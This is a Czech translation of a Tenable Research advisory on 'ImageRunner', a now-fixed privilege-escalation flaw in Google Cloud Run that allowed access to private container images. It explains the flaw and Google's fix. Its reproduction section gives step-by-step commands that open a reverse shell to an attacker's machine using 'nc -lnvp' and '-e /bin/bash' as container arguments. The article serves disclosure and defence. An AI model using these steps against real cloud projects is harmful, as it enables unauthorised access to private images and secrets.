Článek přečtěte do 5 min.

Společnost Tenable Research objevila v Google Cloud Platform (GCP) chybu zabezpečení týkající se eskalace oprávnění, která je nyní opravena a kterou nazvali ImageRunner. Problémem jsou identity, které nemají oprávnění registru, ale mají oprávnění k úpravám revizí Google Cloud Run. Tato chyba zabezpečení mohla takové identitě umožnit zneužít svá oprávnění k úpravám revizí Google Cloud Run za účelem stažení soukromých obrázků z registru artefaktů Google a registru kontejnerů Google ze stejného účtu.

Co je Cloud Run, Registr kontejnerů a Registr artefaktů?

Cloud RunContainer Registry a Artifact Registry jsou klíčové součásti cloudového ekosystému Google pro nasazení a správu kontejnerizovaných aplikací. Cloud Run je plně spravovaná služba pro spouštění kontejnerizovaných aplikací ve škálovatelném prostředí bez serveru.

Container Registry, starší služba, byla ukončena ve prospěch Artifact Registry k 18. březnu 2025. Zatímco obě služby jsou navrženy k ukládání a správě obrázků kontejnerů, Artifact Registry je řešením nové generace s širší funkčností a podporou více typů artefaktů nad rámec obrázků kontejnerů, jako jsou balíčky Maven a npm.

Když se používá Cloud Run, načte bitovou kopii kontejneru uloženou v Artifact Registry a použije ji k nasazení vaší aplikace. Spravuje infrastrukturu, škálování a spouštěcí prostředí, což vám umožňuje spouštět vaši aplikaci bezserverovým způsobem, aniž byste se museli starat o základní systémy.

Podrobnosti o zranitelnosti ImageRunnerGrafika (GIF) znázorňující, jak může útočník zneužít agenta služeb funkcí v revizích Google Cloud Run k přístupu k obrázkům soukromých kontejnerů
Při nasazení služby Cloud Run se vytvoří nová revize

Revize Cloud Run představuje konkrétní verzi služby nasazené uživatelem ve službě Google Cloud Run. Při každém nasazení nebo aktualizaci služby (jako je změna kódu nebo konfigurace) se vytvoří nová revize.

Když uživatelé nasadí svou revizi Cloud Run, mohou si vybrat bitovou kopii k nasazení z registru kontejnerů, registru artefaktů nebo centra Docker zadáním adresy URL obrázku kontejneru. Cloud Run potřebuje oprávnění IAM k získávání obrázků kontejneru z registrů kontejnerů nebo artefaktů a používá k tomu servisního agenta.

Servisní agent je speciální typ servisního účtu vytvořený a spravovaný službou Google Cloud. Funguje jako „pracovník", který zpracovává základní operace, jako je Cloud Run – stahování obrázků kontejnerů z registrů, jako je Google Container Registry nebo Artifact Registry, za účelem nasazení uživatelské aplikace.

Zneužití procesu nasazení

Pokud útočník získá určitá oprávnění v rámci projektu oběti – konkrétně oprávnění run.services.update a iam.serviceAccounts.actAs – může upravit službu Cloud Run a nasadit novou revizi. Přitom by mohli určit jakýkoli soukromý obrázek kontejneru v rámci stejného projektu, který má služba stáhnout. Tady to začíná být zamotané: Útočníci by mohli získat přístup k citlivým nebo proprietárním obrázkům uloženým v registrech obětí, a obejít tak tato dvě oprávnění potřebná k vytažení soukromých obrázků z registru: Storage Object Viewer nebo Artifact Registry Reader.

Útočník to může udělat tak, že využije možnost přidávat pokyny během aktualizace služby – konkrétněji přidáním škodlivých pokynů.

Tyto instrukce lze vložit jako argumenty nebo příkazy do konfigurace služby. Když se aktualizovaný kontejner spustí, spustí se škodlivý kód a potenciálně ohrozí obraz kontejneru. Útočník by například mohl použít jejich kód ke kontrole obsahu soukromého obrázku, extrahovat tajemství v něm uložená nebo dokonce exfiltrovat citlivá data.

Následuje příklad vytažení obrázku ncat. Netcat (často zkráceně ncat) je výkonný síťový nástroj příkazového řádku používaný pro vytváření TCP/UDP připojení, přenos dat, skenování portů a fungující jako základní server nebo klient pro ladění. Abychom ilustrovali útočníka pomocí škodlivých pokynů k převzetí obrázku, použili jsme tento obrázek jako vhodný příklad „soukromého obrázku", který je přítomen v registru kontejnerů oběti. V následujícím příkladu může útočník přidat škodlivé pokyny ve formě zpětného připojení ke svému počítači, aby převzal obraz a zkontroloval jeho obsah, tajemství a další:

Příklad vytažení obrázku ncat (Netcat).
Nicméně jakýkoli soukromý obrázek může být napaden vložením škodlivých pokynů a přizpůsobením užitečného zatížení ve prospěch útočníka.

Tato chyba zabezpečení vzniká, protože tyto úkoly provádí servisní agent zodpovědný za stahování obrázků. Servisní agent přidružený ke cloudovým funkcím (identifikovaný účtem jako service-PROJECT_NUMBER@gcf-admin-robot.iam.gserviceaccount.com) bude svědomitě stahovat obraz uvedený v aktualizované konfiguraci služby. Servisní agent Cloud Function je držitelem požadovaného úložiště a oprávnění k registru artefaktů. I když je toto chování nezbytné pro fungování Cloud Run, může být zneužito, pokud oprávnění nejsou přísně kontrolována.

Z bezpečnostních důvodů to netestovali a nepotvrdili, ale protože servisní agent Cloud Functions je interní, předpokládáme, že by mohl mít také oprávnění k interním obrázkům Google.

Důležitá poznámka k objasnění: Jak byste očekávali, jediná oprávnění, která uživatel potřebuje, aby mohl nasadit revizi Cloud Run, jsou run.services.update a iam.serviceAccounts.actAs , ale privátní stahování obrazu, které GCP potřebuje pro proces orchestrace Cloud Run, by mělo vyžadovat další oprávnění.

Plná reprodukce útoku

Pro příklad by útočník zaútočil na obrázek „ncat" a vložil do něj škodlivé pokyny:

  1. Jako příklad spusťte následující příkazy pro stažení obrázku ncat a jeho odeslání do vašeho registru Google Cloud, který bude fungovat jako úložiště oběti. Obrázek ncat bude fungovat jako soukromý obrázek oběti:
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io//ncat:latest
docker push gcr.io//ncat:latest
  1. Ovládejte identitu pomocí následujících oprávnění: oprávnění run.services.update a iam.serviceAccounts.actAs.
  2. Aktualizujte spuštěnou službu Cloud Run a upravte novou revizi.
  3. Zadejte jakýkoli soukromý kontejner, který chcete unést ve stejném projektu – pro důkaz konceptu jsme použili gcr.io//ncat:latest
  4. Použijte „nc -lnvp " k poslechu na útočníkově počítači, ke kterému chcete získat zpětný shell.
  5. Do polí argumentů kontejneru zadejte následující: -e, /bin/bash
  6. Měli byste běžet na kontejneru, který byl nasazen se soukromým obrazem, ke kterému byste neměli mít přístup.

Oprava zranitelnosti a další kroky podniknuté společností Google ke zvýšení celkového zabezpečení GCP

V reakci na toto zjištění GCP nyní zajišťuje, že hlavní (uživatelský nebo servisní účet), který vytváří nebo aktualizuje prostředek Cloud Run, potřebuje výslovné oprávnění k přístupu k obrazu (obrázkům) kontejneru. Při používání Artifact Registry byste se měli ujistit, že hlavní objekt má roli IAM Reader registru artefaktů ( roles/artifactregistry.reader) v projektu nebo úložišti obsahujícím obrazy kontejneru, které se mají nasadit.

Přelomová změna byla 100% zavedena do produkce 28. ledna 2025. Společnost Google zaslala vlastníkům dotčených projektů, složek a organizací během posledního listopadového týdne 2024 povinné oznámení o službě, zatímco poznámky k vydání varovaly uživatele před přelomovou změnou.

Po této opravě Cloud Run zkontroluje, zda má implementátor přístup pro čtení k obrazu.

ImageRunner jako příklad konceptu Jenga®

ImageRunner je příkladem konceptu, který v Tenable Research nazýváme „Jenga®", stejně jako tato hra. V rámci snahy Tenable Research o odhalení vzorců zranitelnosti v cloudu jsme tento nový koncept odhalili na nedávné konferenci BlackHat USA 2024. Koncept „Jenga®" je přítomen u hlavních poskytovatelů cloudu. Tady je podstata: Poskytovatelé cloudu staví své služby nad svými ostatními stávajícími službami. Někdy vytvářejí „skryté služby". Pokud je jedna služba napadena nebo je kompromitována, ostatní na ní postavené služby zdědí riziko a stanou se také zranitelnými. Tento scénář otevírá útočníkům dveře k objevování nových příležitostí eskalace privilegií a dokonce i zranitelností a představuje nová skrytá rizika pro obránce.

Další informace o konceptu Jenga® a novém nástroji nazvaném Jenganizer, který vydali za účelem zmírnění jeho rizik, naleznete v blozích o zranitelnosti Google CloudImposer a zranitelnosti Google ConfusedFunction. Tyto blogy také pojednávají o problematice skrytých cloudových služeb. Zůstaňte naladěni na naši nahrávku BlackHat talk o CloudImposer.

Pro další informace nás neváhejte kontaktovat.

(Jenga® je registrovaná ochranná známka společnosti Pokonobe Associates.)

Zdroj: Tenable